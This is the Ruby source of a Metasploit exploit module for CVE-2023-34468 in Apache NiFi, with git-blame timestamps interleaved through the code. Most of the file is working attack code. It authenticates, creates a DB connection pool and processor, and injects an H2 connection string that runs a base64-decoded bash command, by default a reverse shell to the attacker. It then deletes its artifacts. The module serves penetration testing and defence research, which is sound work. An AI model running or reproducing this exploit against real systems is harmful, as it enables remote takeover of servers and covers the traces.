2023-08-03 16:36:37 -04:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf :: Exploit :: Remote
Rank = ExcellentRanking
prepend Msf :: Exploit :: Remote :: AutoCheck
include Msf :: Exploit :: Remote :: HttpClient
include Msf :: Exploit :: Remote :: HTTP :: Nifi
def initialize ( info = { } )
super (
update_info (
info ,
'Name' = > 'Apache NiFi H2 Connection String Remote Code Execution' ,
'Description' = > %q{
The DBCPConnectionPool and HikariCPConnectionPool Controller Services in
Apache NiFi 0.0.2 through 1.21.0 allow an authenticated and authorized user
to configure a Database URL with the H2 driver that enables custom code execution.
This exploit will result in several shells (5-7).
2023-08-20 19:37:22 -04:00
Successfully tested against Apache nifi 1.17.0 through 1.21.0.
2023-08-03 16:36:37 -04:00
} ,
'License' = > MSF_LICENSE ,
'Author' = > [
'h00die' , # msf module
2023-08-04 21:29:11 -04:00
'Matei "Mal" Badanoiu' # discovery
2023-08-03 16:36:37 -04:00
] ,
'References' = > [
[ 'CVE' , '2023-34468' ] ,
[ 'URL' , 'https://lists.apache.org/thread/7b82l4f5blmpkfcynf3y6z4x1vqo59h8' ] ,
[ 'URL' , 'https://issues.apache.org/jira/browse/NIFI-11653' ] ,
2023-08-04 21:29:11 -04:00
[ 'URL' , 'https://nifi.apache.org/security.html#1.22.0' ] ,
2023-08-03 16:36:37 -04:00
# not many h2 references on the Internet, especially for nifi, so leaving this here
# ['URL', 'https://gist.github.com/ijokarumawak/ed9085024eeeefbca19cfb2f20d23ed4#file-table_record_change_detection_example-xml-L65']
# ['URL', 'http://www.h2database.com/html/features.html']
] ,
'DisclosureDate' = > '2023-06-12' ,
'DefaultOptions' = > { 'RPORT' = > 8443 } ,
'Platform' = > %w[ unix ] ,
'Arch' = > [ ARCH_CMD ] ,
'Targets' = > [
[
'Unix (In-Memory)' ,
{
'Type' = > :unix_memory ,
'Payload' = > { 'BadChars' = > '"' } ,
'DefaultOptions' = > { 'PAYLOAD' = > 'cmd/unix/reverse_bash' }
}
] ,
] ,
'Privileged' = > false ,
'DefaultTarget' = > 0 ,
'Notes' = > {
'Stability' = > [ CRASH_SAFE ] ,
'Reliability' = > [ REPEATABLE_SESSION ] ,
2023-08-20 19:37:22 -04:00
'SideEffects' = > [ IOC_IN_LOGS , CONFIG_CHANGES , ARTIFACTS_ON_DISK ]
2023-08-03 16:36:37 -04:00
}
)
)
register_options (
[
2023-08-04 21:29:11 -04:00
OptString . new ( 'TARGETURI' , [ true , 'The base path' , '/' ] ) ,
2023-08-20 19:37:22 -04:00
OptInt . new ( 'DELAY' , [ true , 'The delay (s) before stopping and deleting the processor' , 30 ] )
2023-08-03 16:36:37 -04:00
] ,
self . class
)
end
def configure_dbconpool
# our base64ed payload can't have = in it, so we'll pad out with spaces to remove them
b64_pe = :: Base64 . strict_encode64 ( payload . encoded )
equals_count = b64_pe . count ( '=' )
if equals_count > 0
b64_pe = :: Base64 . strict_encode64 ( payload . encoded + ' ' * equals_count )
end
2023-08-20 19:37:22 -04:00
if @version > Rex :: Version . new ( '1.16.0' )
# 1.17.0-1.21.0
2023-08-04 21:29:11 -04:00
driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.214.jar'
else
# 1.16.0
driver = '/opt/nifi/nifi-toolkit-current/lib/h2-2.1.210.jar'
end
2023-08-03 16:36:37 -04:00
body = {
'disconnectedNodeAcknowledged' = > false ,
'component' = > {
'id' = > @db_con_pool ,
'name' = > @db_con_pool_name ,
'bulletinLevel' = > 'WARN' ,
'comments' = > '' ,
'properties' = > {
# https://github.com/apache/nifi/pull/7349/files#diff-66ccc94a6b0dfa29817ded9c18e5a87c4fff9cd38eeedc3f121f6436ba53e6c0R38
2023-08-20 19:37:22 -04:00
# we can use a random db name here, the file is created automatically
# XXX would mem work too?
'Database Connection URL' = > " jdbc:h2:file:/tmp/ #{ Rex :: Text . rand_text_alphanumeric ( 6 .. 10 ) } .db;TRACE_LEVEL_SYSTEM_OUT=0 \\ ;CREATE TRIGGER #{ Rex :: Text . rand_text_alpha_upper ( 6 .. 12 ) } BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript \n java.lang.Runtime.getRuntime().exec('bash -c {echo, #{ b64_pe } }|{base64,-d}|{bash,-i}') \n $$--=x " ,
2023-08-03 16:36:37 -04:00
'Database Driver Class Name' = > 'org.h2.Driver' ,
# This seems to be installed by default, do we need the location?
2023-08-04 21:29:11 -04:00
'database-driver-locations' = > driver ,
2023-08-03 16:36:37 -04:00
" Max Total Connections " : '1' # prevents us from getting multiple callbacks
} ,
'sensitiveDynamicPropertyNames' = > [ ]
} ,
'revision' = > {
'clientId' = > 'x' ,
'version' = > 0
}
}
opts = {
'method' = > 'PUT' ,
2023-08-04 21:29:11 -04:00
'uri' = > normalize_uri ( target_uri . path , 'nifi-api' , 'controller-services' , @db_con_pool ) ,
2023-08-03 16:36:37 -04:00
'ctype' = > 'application/json' ,
'data' = > body . to_json
}
opts [ 'headers' ] = { 'Authorization' = > " Bearer #{ @token } " } if @token
2023-08-20 19:37:22 -04:00
res = send_request_cgi ( opts )
fail_with ( Failure :: Unreachable , 'No response received' ) if res . nil?
fail_with ( Failure :: UnexpectedReply , " Unexpected HTTP response code received #{ res . code } " ) unless res . code == 200
2023-08-03 16:36:37 -04:00
end
def configure_processor
2023-08-20 19:37:22 -04:00
vprint_status ( " Configuring processor #{ @processor } " )
2023-08-03 16:36:37 -04:00
body = {
2023-08-20 19:37:22 -04:00
# "disconnectedNodeAcknowledged"=> false,
2023-08-03 16:36:37 -04:00
'component' = > {
'id' = > @processor ,
2023-08-20 19:37:22 -04:00
'name' = > Rex :: Text . rand_text_alphanumeric ( 6 .. 10 ) ,
2023-08-03 16:36:37 -04:00
'bulletinLevel' = > 'WARN' ,
'comments' = > '' ,
'config' = > {
'autoTerminatedRelationships' = > [ 'failure' , 'success' ] ,
'bulletinLevel' = > 'WARN' ,
'comments' = > '' ,
'concurrentlySchedulableTaskCount' = > '1' ,
'executionNode' = > 'ALL' ,
'penaltyDuration' = > '30 sec' ,
'retriedRelationships' = > [ ] ,
'schedulingPeriod' = > '0 sec' ,
'schedulingStrategy' = > 'TIMER_DRIVEN' ,
'yieldDuration' = > '1 sec' ,
'state' = > 'STOPPED' ,
'properties' = > {
'Database Connection Pooling Service' = > @db_con_pool ,
'SQL select query' = > 'SELECT H2VERSION() FROM DUAL;' # innocious get version query, field required to be non-blank
}
}
} ,
'revision' = > {
'clientId' = > 'x' ,
2023-08-04 21:29:11 -04:00
'version' = > 1 # needs to be 1 since we had 0 before
2023-08-03 16:36:37 -04:00
}
}
opts = {
'method' = > 'PUT' ,
2023-08-04 21:29:11 -04:00
'uri' = > normalize_uri ( target_uri . path , 'nifi-api' , 'processors' , @processor ) ,
2023-08-03 16:36:37 -04:00
'ctype' = > 'application/json' ,
'data' = > body . to_json
}
opts [ 'headers' ] = { 'Authorization' = > " Bearer #{ @token } " } if @token
2023-08-20 19:37:22 -04:00
res = send_request_cgi ( opts )
fail_with ( Failure :: Unreachable , 'No response received' ) if res . nil?
fail_with ( Failure :: UnexpectedReply , " Unexpected HTTP response code received #{ res . code } " ) unless res . code == 200
2023-08-03 16:36:37 -04:00
end
def check
# see apache_nifi_processor_rce check method for details on why this is difficult
@cleanup_required = false
2023-08-04 21:29:11 -04:00
login_type = supports_login?
2023-08-20 19:37:22 -04:00
return CheckCode :: Unknown ( 'Unable to determine if logins are supported' ) if login_type . nil?
if login_type
2023-08-04 21:29:11 -04:00
@version = get_version
2023-08-20 19:37:22 -04:00
return CheckCode :: Unknown ( 'Unable to determine Apache NiFi version' ) if @version . nil?
2023-08-04 21:29:11 -04:00
if @version < = Rex :: Version . new ( '1.21.0' )
2023-08-28 17:39:02 -04:00
return CheckCode :: Appears ( " Apache NiFi instance supports logins and vulnerable version detected: #{ @version } " )
2023-08-03 16:36:37 -04:00
end
2023-08-20 19:37:22 -04:00
2023-08-28 17:39:02 -04:00
CheckCode :: Safe ( " Apache NiFi instance supports logins but non-vulnerable version detected: #{ @version } " )
2023-08-04 21:29:11 -04:00
else
CheckCode :: Appears ( 'Apache NiFi instance does not support logins' )
2023-08-03 16:36:37 -04:00
end
end
def validate_config
2023-08-28 17:39:02 -04:00
if datastore [ 'BEARER-TOKEN' ] . to_s . empty? && datastore [ 'USERNAME' ] . to_s . empty?
fail_with ( Failure :: BadConfig ,
'Authentication is required. Bearer-Token or Username and Password must be specified' )
end
2023-08-03 16:36:37 -04:00
end
def cleanup
2023-08-20 19:37:22 -04:00
super
2023-08-28 17:39:02 -04:00
return unless @cleanup_required
2023-08-20 19:37:22 -04:00
2023-08-03 16:36:37 -04:00
# Wait for thread to execute - This seems necesarry, especially on Windows
# and there is no way I can see of checking whether the thread has executed
print_status ( " Waiting #{ datastore [ 'DELAY' ] } seconds before stopping and deleting " )
sleep ( datastore [ 'DELAY' ] )
# Stop Processor
stop_processor ( @token , @processor )
vprint_good ( " Stopped and terminated processor #{ @processor } " )
# Delete processor
delete_processor ( @token , @processor , 3 )
vprint_good ( " Deleted processor #{ @processor } " )
2023-08-21 18:12:26 -04:00
begin
stop_dbconnectionpool ( @token , @db_con_pool )
rescue DBConnectionPoolError
fail_with ( Failure :: UnexpectedReply , 'Unable to stop DB Connection Pool. Manual cleanup is required' )
end
2023-08-03 16:36:37 -04:00
vprint_good ( " Disabled db connection pool #{ @db_con_pool } , sleeping #{ datastore [ 'DELAY' ] } seconds to allow the connection to finish disabling " )
sleep ( datastore [ 'DELAY' ] )
2023-08-21 18:12:26 -04:00
begin
delete_dbconnectionpool ( @token , @db_con_pool )
rescue DBConnectionPoolError
fail_with ( Failure :: UnexpectedReply , 'Unable to delete DB Connection Pool. Manual cleanup is required' )
end
2023-08-03 16:36:37 -04:00
vprint_good ( " Deleted db connection pool #{ @db_con_pool } " )
end
def exploit
# Check whether login is required and set/fetch token
2023-08-04 21:29:11 -04:00
if supports_login?
2023-08-28 17:39:02 -04:00
validate_config
2023-08-03 16:36:37 -04:00
@token = if datastore [ 'BEARER-TOKEN' ] . to_s . empty?
retrieve_login_token
else
datastore [ 'BEARER-TOKEN' ]
end
2023-08-28 17:39:02 -04:00
fail_with ( Failure :: NoAccess , 'Invalid Credentials' ) if @token . nil?
2023-08-03 16:36:37 -04:00
else
2023-08-28 17:39:02 -04:00
@token = nil
2023-08-03 16:36:37 -04:00
end
2023-08-04 21:29:11 -04:00
if @version . nil?
@version = get_version
end
2023-08-03 16:36:37 -04:00
# Retrieve root process group
@process_group = fetch_root_process_group ( @token )
2023-08-28 17:39:02 -04:00
fail_with ( Failure :: UnexpectedReply , 'Unable to retrieve root process group' ) if @process_group . nil?
2023-08-03 16:36:37 -04:00
vprint_good ( " Retrieved process group: #{ @process_group } " )
2023-08-20 19:37:22 -04:00
@db_con_pool_name = Rex :: Text . rand_text_alphanumeric ( 6 .. 10 )
2023-08-21 18:12:26 -04:00
begin
@db_con_pool = create_dbconnectionpool ( @token , @db_con_pool_name , @process_group , @version )
rescue DBConnectionPoolError
fail_with ( Failure :: UnexpectedReply ,
'Unable to create DB Connection Pool. Manual review of HTTP packets will be required to debug failure.' )
end
2023-08-03 16:36:37 -04:00
@cleanup_required = true
# Create processor in root process group
@processor = create_processor ( @token , @process_group , 'org.apache.nifi.processors.standard.ExecuteSQL' )
vprint_good ( " Created processor #{ @processor } in process group #{ @process_group } " )
configure_processor
vprint_good ( " Configured processor #{ @processor } " )
configure_dbconpool
vprint_good ( " Configured db connection pool #{ @db_con_pool_name } ( #{ @db_con_pool } ) " )
2023-08-21 18:12:26 -04:00
begin
start_dbconnectionpool ( @token , @db_con_pool )
rescue DBConnectionPoolError
fail_with ( Failure :: UnexpectedReply ,
'Unable to start DB Connection Pool. Manual review of HTTP packets will be required to debug failure.' )
end
vprint_good ( 'Enabled db connection pool' )
begin
start_processor ( @token , @processor )
rescue ProcessorError
fail_with ( Failure :: UnexpectedReply ,
'Unable to start Processor. Manual review of HTTP packets will be required to debug failure.' )
end
vprint_good ( 'Started processor' )
2023-08-03 16:36:37 -04:00
end
end